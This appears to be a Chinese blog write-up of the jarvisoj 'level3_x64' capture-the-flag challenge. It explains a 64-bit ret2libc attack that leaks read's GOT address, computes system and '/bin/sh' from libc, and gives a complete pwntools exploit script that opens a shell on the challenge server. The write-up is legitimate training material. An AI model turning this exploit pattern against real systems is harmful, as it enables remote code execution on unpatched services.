jarvisoj level3_x64

ida打开checksec看一下,开启了nx,不想shellcode什么的了。
反编译一下看看发现write也有,read也有,不过没找到system也没找到'/bin/sh'
给了一个libc链接库,打开看看system也有,'bin/sh'也有
感觉思路应该和level3差不多,只不过变成了64位的传参。

总体思路,利用write函数打印出read在got表中的真实地址,然后利用libc中的偏移来求出system和bin/sh的地址,构造system('/bin/sh')来得到shell

ROPgadget --binary level3_x64 --only 'pop|ret'

好的我们找到了前两个参数的地址!rdi,rsi,第三个我们默认就够了
rdi = 0x4006b3
rsi = 0x4006b1

64位传参数顺序 参数1-6先进寄存器,后面和32位是一样的。
调用函数读的是plt表第一次时候老是用got表。。。
还有一点就是说要看一下rdx寄存器的值和8的大小相比较,发现rdx寄存器的值是大于8的,所以就不用传read的第三个参数了。
脚本

from pwn import *

# p = process('./level3_x64')
p = remote("pwn2.jarvisoj.com", 9883)

elf = ELF('./level3_x64')
libc = ELF('./libc-2.19.so')

rdi = 0x4006b3 
rsi = 0x4006b1
#ROPgadget --binary level3_x64 --only 'pop|ret'

func_addr = elf.symbols['vulnerable_function'] 
write_plt = elf.plt['write']  
read_got = elf.got['read']

payload = 'A' * 0x80 + 'B' * 0x08
payload += p64(rdi) + p64(1)
payload += p64(rsi) + p64(read_got) + p64(0)
payload += p64(write_plt) + p64(func_addr)

p.recvuntil('Input:\n')
p.sendline(payload)

read_addr = u64(p.recv(8))
# print 'read' + hex(read_addr)

p.recvuntil('Input:\n')

binsh = libc.search('/bin/sh').next()
system = libc.symbols['system']
read = libc.symbols['read']

offset = read_addr - read
binsh_addr = binsh + offset
system_addr = system + offset

payload2 = 'A' * 0x80 + 'B' * 0x08
payload2 += p64(rdi) + p64(binsh_addr)
payload2 += p64(system_addr) + p64(func_addr)

p.sendline(payload2)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,711评论 0 2
  • 最近在学蒸米的《一步一步学ROP之linux_x86篇》,内容写的很详细,个人学到了很多,但同时学的过程中也有很多...
    2mpossible阅读 1,544评论 0 5
  • mean to add the formatted="false" attribute?.[ 46% 47325/...
    ProZoom阅读 2,725评论 0 3
  • 曾经以为 花开的太早是个美丽的错 尽管遇到许多心动的女生只能隐藏在心里 然而还是了干了那一杯时间的毒药 错过了最美...
    小小丰兄阅读 324评论 0 2